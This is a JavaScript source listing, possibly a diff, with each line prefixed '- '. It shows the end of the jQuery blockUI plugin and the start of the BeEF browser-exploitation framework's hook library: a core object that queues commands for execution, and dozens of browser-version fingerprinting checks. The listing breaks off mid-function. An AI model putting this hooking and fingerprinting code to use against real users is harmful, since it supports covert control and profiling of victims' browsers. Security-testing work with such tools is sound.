- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
- if ( opts.title ) {
- s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
- }
- s += '<div class="ui-widget-content ui-dialog-content"></div>';
- s += '</div>';
- }
- else if (opts.theme) {
- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
- if ( opts.title ) {
- s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
- }
- s += '<div class="ui-widget-content ui-dialog-content"></div>';
- s += '</div>';
- }
- else if (full) {
- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
- }
- else {
- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
- }
- lyr3 = $(s);
- // if we have a message, style it
- if (msg) {
- if (opts.theme) {
- lyr3.css(themedCSS);
- lyr3.addClass('ui-widget-content');
- }
- else
- lyr3.css(css);
- }
- // style the overlay
- if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
- lyr2.css(opts.overlayCSS);
- lyr2.css('position', full ? 'fixed' : 'absolute');
- // make iframe layer transparent in IE
- if (msie || opts.forceIframe)
- lyr1.css('opacity',0.0);
- //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
- var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
- $.each(layers, function() {
- this.appendTo($par);
- });
- if (opts.theme && opts.draggable && $.fn.draggable) {
- lyr3.draggable({
- handle: '.ui-dialog-titlebar',
- cancel: 'li'
- });
- }
- // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
- var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
- if (ie6 || expr) {
- // give body 100% height
- if (full && opts.allowBodyStretch && $.support.boxModel)
- $('html,body').css('height','100%');
- // fix ie6 issue when blocked element has a border width
- if ((ie6 || !$.support.boxModel) && !full) {
- var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
- var fixT = t ? '(0 - '+t+')' : 0;
- var fixL = l ? '(0 - '+l+')' : 0;
- }
- // simulate fixed position
- $.each(layers, function(i,o) {
- var s = o[0].style;
- s.position = 'absolute';
- if (i < 2) {
- if (full)
- s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
- else
- s.setExpression('height','this.parentNode.offsetHeight + "px"');
- if (full)
- s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
- else
- s.setExpression('width','this.parentNode.offsetWidth + "px"');
- if (fixL) s.setExpression('left', fixL);
- if (fixT) s.setExpression('top', fixT);
- }
- else if (opts.centerY) {
- if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
- s.marginTop = 0;
- }
- else if (!opts.centerY && full) {
- var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
- var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
- s.setExpression('top',expression);
- }
- });
- }
- // show the message
- if (msg) {
- if (opts.theme)
- lyr3.find('.ui-widget-content').append(msg);
- else
- lyr3.append(msg);
- if (msg.jquery || msg.nodeType)
- $(msg).show();
- }
- if ((msie || opts.forceIframe) && opts.showOverlay)
- lyr1.show(); // opacity is zero
- if (opts.fadeIn) {
- var cb = opts.onBlock ? opts.onBlock : noOp;
- var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
- var cb2 = msg ? cb : noOp;
- if (opts.showOverlay)
- lyr2._fadeIn(opts.fadeIn, cb1);
- if (msg)
- lyr3._fadeIn(opts.fadeIn, cb2);
- }
- else {
- if (opts.showOverlay)
- lyr2.show();
- if (msg)
- lyr3.show();
- if (opts.onBlock)
- opts.onBlock.bind(lyr3)();
- }
- // bind key and mouse events
- bind(1, el, opts);
- if (full) {
- pageBlock = lyr3[0];
- pageBlockEls = $(opts.focusableElements,pageBlock);
- if (opts.focusInput)
- setTimeout(focus, 20);
- }
- else
- center(lyr3[0], opts.centerX, opts.centerY);
- if (opts.timeout) {
- // auto-unblock
- var to = setTimeout(function() {
- if (full)
- $.unblockUI(opts);
- else
- $(el).unblock(opts);
- }, opts.timeout);
- $(el).data('blockUI.timeout', to);
- }
- }
- // remove the block
- function remove(el, opts) {
- var count;
- var full = (el == window);
- var $el = $(el);
- var data = $el.data('blockUI.history');
- var to = $el.data('blockUI.timeout');
- if (to) {
- clearTimeout(to);
- $el.removeData('blockUI.timeout');
- }
- opts = $.extend({}, $.blockUI.defaults, opts || {});
- bind(0, el, opts); // unbind events
- if (opts.onUnblock === null) {
- opts.onUnblock = $el.data('blockUI.onUnblock');
- $el.removeData('blockUI.onUnblock');
- }
- var els;
- if (full) // crazy selector to handle odd field errors in ie6/7
- els = $('body').children().filter('.blockUI').add('body > .blockUI');
- else
- els = $el.find('>.blockUI');
- // fix cursor issue
- if ( opts.cursorReset ) {
- if ( els.length > 1 )
- els[1].style.cursor = opts.cursorReset;
- if ( els.length > 2 )
- els[2].style.cursor = opts.cursorReset;
- }
- if (full)
- pageBlock = pageBlockEls = null;
- if (opts.fadeOut) {
- count = els.length;
- els.stop().fadeOut(opts.fadeOut, function() {
- if ( --count === 0)
- reset(els,data,opts,el);
- });
- }
- else
- reset(els, data, opts, el);
- }
- // move blocking element back into the DOM where it started
- function reset(els,data,opts,el) {
- var $el = $(el);
- if ( $el.data('blockUI.isBlocked') )
- return;
- els.each(function(i,o) {
- // remove via DOM calls so we don't lose event handlers
- if (this.parentNode)
- this.parentNode.removeChild(this);
- });
- if (data && data.el) {
- data.el.style.display = data.display;
- data.el.style.position = data.position;
- data.el.style.cursor = 'default'; // #59
- if (data.parent)
- data.parent.appendChild(data.el);
- $el.removeData('blockUI.history');
- }
- if ($el.data('blockUI.static')) {
- $el.css('position', 'static'); // #22
- }
- if (typeof opts.onUnblock == 'function')
- opts.onUnblock(el,opts);
- // fix issue in Safari 6 where block artifacts remain until reflow
- var body = $(document.body), w = body.width(), cssW = body[0].style.width;
- body.width(w-1).width(w);
- body[0].style.width = cssW;
- }
- // bind/unbind the handler
- function bind(b, el, opts) {
- var full = el == window, $el = $(el);
- // don't bother unbinding if there is nothing to unbind
- if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
- return;
- $el.data('blockUI.isBlocked', b);
- // don't bind events when overlay is not in use or if bindEvents is false
- if (!full || !opts.bindEvents || (b && !opts.showOverlay))
- return;
- // bind anchors and inputs for mouse and key events
- var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
- if (b)
- $(document).bind(events, opts, handler);
- else
- $(document).unbind(events, handler);
- // former impl...
- // var $e = $('a,:input');
- // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
- }
- // event handler to suppress keyboard/mouse events when blocking
- function handler(e) {
- // allow tab navigation (conditionally)
- if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
- if (pageBlock && e.data.constrainTabKey) {
- var els = pageBlockEls;
- var fwd = !e.shiftKey && e.target === els[els.length-1];
- var back = e.shiftKey && e.target === els[0];
- if (fwd || back) {
- setTimeout(function(){focus(back);},10);
- return false;
- }
- }
- }
- var opts = e.data;
- var target = $(e.target);
- if (target.hasClass('blockOverlay') && opts.onOverlayClick)
- opts.onOverlayClick(e);
- // allow events within the message content
- if (target.parents('div.' + opts.blockMsgClass).length > 0)
- return true;
- // allow events for content that is not being blocked
- return target.parents().children().filter('div.blockUI').length === 0;
- }
- function focus(back) {
- if (!pageBlockEls)
- return;
- var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
- if (e)
- e.focus();
- }
- function center(el, x, y) {
- var p = el.parentNode, s = el.style;
- var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
- var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
- if (x) s.left = l > 0 ? (l+'px') : '0';
- if (y) s.top = t > 0 ? (t+'px') : '0';
- }
- function sz(el, p) {
- return parseInt($.css(el,p),10)||0;
- }
- }
- /*global define:true */
- if (typeof define === 'function' && define.amd && define.amd.jQuery) {
- define(['jquery'], setup);
- } else {
- setup(jQuery);
- }
- })();
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * BeEF JS Library 0.4.7.0-alpha
- * Register the BeEF JS on the window object.
- */
- $j = jQuery.noConflict();
- if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
- var BeefJS = {
- version: '0.4.7.0-alpha',
- // This get set to true during window.onload(). It's a useful hack when messing with document.write().
- pageIsLoaded: false,
- // An array containing functions to be executed by the window.onpopstate() method.
- onpopstate: new Array(),
- // An array containing functions to be executed by the window.onclose() method.
- onclose: new Array(),
- // An array containing functions to be executed by Beef.
- commands: new Array(),
- // An array containing all the BeEF JS components.
- components: new Array(),
- /**
- * Adds a function to display debug messages (wraps console.log())
- * @param: {string} the debug string to return
- */
- debug: function(msg) {
- if (!false) return;
- if (typeof console == "object" && typeof console.log == "function") {
- var currentdate = new Date();
- var pad = function(n){return ("0" + n).slice(-2);}
- var datetime = currentdate.getFullYear() + "-"
- + pad(currentdate.getMonth()+1) + "-"
- + pad(currentdate.getDate()) + " "
- + pad(currentdate.getHours()) + ":"
- + pad(currentdate.getMinutes()) + ":"
- + pad(currentdate.getSeconds());
- console.log('['+datetime+'] '+msg);
- } else {
- // TODO: maybe add a callback to BeEF server for debugging purposes
- //window.alert(msg);
- }
- },
- /**
- * Adds a function to execute.
- * @param: {Function} the function to execute.
- */
- execute: function(fn) {
- if ( typeof beef.websocket == "undefined"){
- this.commands.push(fn);
- }else{
- fn();
- }
- },
- /**
- * Registers a component in BeEF JS.
- * @params: {String} the component.
- *
- * Components are very important to register so the framework does not
- * send them back over and over again.
- */
- regCmp: function(component) {
- this.components.push(component);
- }
- };
- window.beef = BeefJS;
- }
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /**
- * @literal object: beef.browser
- *
- * Basic browser functions.
- */
- beef.browser = {
- /**
- * Returns the user agent that the browser is claiming to be.
- * @example: beef.browser.getBrowserReportedName()
- */
- getBrowserReportedName: function () {
- return navigator.userAgent;
- },
- /**
- * Returns true if Avant Browser.
- * @example: beef.browser.isA()
- */
- isA: function () {
- return window.navigator.userAgent.match(/Avant TriCore/) != null;
- },
- /**
- * Returns true if Iceweasel.
- * @example: beef.browser.isIceweasel()
- */
- isIceweasel: function () {
- return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
- },
- /**
- * Returns true if Midori.
- * @example: beef.browser.isMidori()
- */
- isMidori: function () {
- return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
- },
- /**
- * Returns true if Odyssey
- * @example: beef.browser.isOdyssey()
- */
- isOdyssey: function () {
- return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
- },
- /**
- * Returns true if Brave
- * @example: beef.browser.isBrave()
- */
- isBrave: function(){
- return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
- },
- /**
- * Returns true if IE6.
- * @example: beef.browser.isIE6()
- */
- isIE6: function () {
- return !window.XMLHttpRequest && !window.globalStorage;
- },
- /**
- * Returns true if IE7.
- * @example: beef.browser.isIE7()
- */
- isIE7: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
- },
- /**
- * Returns true if IE8.
- * @example: beef.browser.isIE8()
- */
- isIE8: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
- },
- /**
- * Returns true if IE9.
- * @example: beef.browser.isIE9()
- */
- isIE9: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
- },
- /**
- *
- * Returns true if IE10.
- * @example: beef.browser.isIE10()
- */
- isIE10: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
- },
- /**
- *
- * Returns true if IE11.
- * @example: beef.browser.isIE11()
- */
- isIE11: function () {
- return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
- },
- /**
- *
- * Returns true if Edge.
- * @example: beef.browser.isEdge()
- */
- isEdge: function () {
- return !beef.browser.isIE() && !!window.StyleMedia;
- },
- /**
- * Returns true if IE.
- * @example: beef.browser.isIE()
- */
- isIE: function () {
- return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
- },
- /**
- * Returns true if FF2.
- * @example: beef.browser.isFF2()
- */
- isFF2: function () {
- return !!window.globalStorage && !window.postMessage;
- },
- /**
- * Returns true if FF3.
- * @example: beef.browser.isFF3()
- */
- isFF3: function () {
- return !!window.globalStorage && !!window.postMessage && !JSON.parse;
- },
- /**
- * Returns true if FF3.5.
- * @example: beef.browser.isFF3_5()
- */
- isFF3_5: function () {
- return !!window.globalStorage && !!JSON.parse && !window.FileReader;
- },
- /**
- * Returns true if FF3.6.
- * @example: beef.browser.isFF3_6()
- */
- isFF3_6: function () {
- return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
- },
- /**
- * Returns true if FF4.
- * @example: beef.browser.isFF4()
- */
- isFF4: function () {
- return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
- },
- /**
- * Returns true if FF5.
- * @example: beef.browser.isFF5()
- */
- isFF5: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
- },
- /**
- * Returns true if FF6.
- * @example: beef.browser.isFF6()
- */
- isFF6: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
- },
- /**
- * Returns true if FF7.
- * @example: beef.browser.isFF7()
- */
- isFF7: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
- },
- /**
- * Returns true if FF8.
- * @example: beef.browser.isFF8()
- */
- isFF8: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
- },
- /**
- * Returns true if FF9.
- * @example: beef.browser.isFF9()
- */
- isFF9: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
- },
- /**
- * Returns true if FF10.
- * @example: beef.browser.isFF10()
- */
- isFF10: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
- },
- /**
- * Returns true if FF11.
- * @example: beef.browser.isFF11()
- */
- isFF11: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
- },
- /**
- * Returns true if FF12
- * @example: beef.browser.isFF12()
- */
- isFF12: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
- },
- /**
- * Returns true if FF13
- * @example: beef.browser.isFF13()
- */
- isFF13: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
- },
- /**
- * Returns true if FF14
- * @example: beef.browser.isFF14()
- */
- isFF14: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
- },
- /**
- * Returns true if FF15
- * @example: beef.browser.isFF15()
- */
- isFF15: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
- },
- /**
- * Returns true if FF16
- * @example: beef.browser.isFF16()
- */
- isFF16: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
- },
- /**
- * Returns true if FF17
- * @example: beef.browser.isFF17()
- */
- isFF17: function () {
- return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
- },
- /**
- * Returns true if FF18
- * @example: beef.browser.isFF18()
- */
- isFF18: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
- },
- /**
- * Returns true if FF19
- * @example: beef.browser.isFF19()
- */
- isFF19: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
- },
- /**
- * Returns true if FF20
- * @example: beef.browser.isFF20()
- */
- isFF20: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
- },
- /**
- * Returns true if FF21
- * @example: beef.browser.isFF21()
- */
- isFF21: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
- },
- /**
- * Returns true if FF22
- * @example: beef.browser.isFF22()
- */
- isFF22: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
- },
- /**
- * Returns true if FF23
- * @example: beef.browser.isFF23()
- */
- isFF23: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
- },
- /**
- * Returns true if FF24
- * @example: beef.browser.isFF24()
- */
- isFF24: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
- },
- /**
- * Returns true if FF25
- * @example: beef.browser.isFF25()
- */
- isFF25: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
- },
- /**
- * Returns true if FF26
- * @example: beef.browser.isFF26()
- */
- isFF26: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
- },
- /**
- * Returns true if FF27
- * @example: beef.browser.isFF27()
- */
- isFF27: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
- },
- /**
- * Returns true if FF28
- * @example: beef.browser.isFF28()
- */
- isFF28: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
- },
- /**
- * Returns true if FF29
- * @example: beef.browser.isFF29()
- */
- isFF29: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
- },
- /**
- * Returns true if FF30
- * @example: beef.browser.isFF30()
- */
- isFF30: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
- },
- /**
- * Returns true if FF31
- * @example: beef.browser.isFF31()
- */
- isFF31: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
- },
- /**
- * Returns true if FF32
- * @example: beef.browser.isFF32()
- */
- isFF32: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
- },
- /**
- * Returns true if FF33
- * @example: beef.browser.isFF33()
- */
- isFF33: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
- },
- /**
- * Returns true if FF34
- * @example: beef.browser.isFF34()
- */
- isFF34: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
- },
- /**
- * Returns true if FF35
- * @example: beef.browser.isFF35()
- */
- isFF35: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
- },
- /**
- * Returns true if FF36
- * @example: beef.browser.isFF36()
- */
- isFF36: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
- },
- /**
- * Returns true if FF37
- * @example: beef.browser.isFF37()
- */
- isFF37: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
- },
- /**
- * Returns true if FF38
- * @example: beef.browser.isFF38()
- */
- isFF38: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
- },
- /**
- * Returns true if FF39
- * @example: beef.browser.isFF39()
- */
- isFF39: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
- },
- /**
- * Returns true if FF40
- * @example: beef.browser.isFF40()
- */
- isFF40: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
- },
- /**
- * Returns true if FF41
- * @example: beef.browser.isFF41()
- */
- isFF41: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
- },
- /**
- * Returns true if FF42
- * @example: beef.browser.isFF42()
- */
- isFF42: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
- },
- /**
- * Returns true if FF43
- * @example: beef.browser.isFF43()
- */
- isFF43: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
- },
- /**
- * Returns true if FF44
- * @example: beef.browser.isFF44()
- */
- isFF44: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
- },
- /**
- * Returns true if FF45
- * @example: beef.browser.isFF45()
- */
- isFF45: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
- },
- /**
- * Returns true if FF46
- * @example: beef.browser.isFF46()
- */
- isFF46: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
- },
- /**
- * Returns true if FF47
- * @example: beef.browser.isFF47()
- */
- isFF47: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
- },
- /**
- * Returns true if FF48
- * @example: beef.browser.isFF48()
- */
- isFF48: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
- },
- /**
- * Returns true if FF49
- * @example: beef.browser.isFF49()
- */
- isFF49: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
- },
- /**
- * Returns true if FF50
- * @example: beef.browser.isFF50()
- */
- isFF50: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
- },
- /**
- * Returns true if FF51
- * @example: beef.browser.isFF51()
- */
- isFF51: function () {
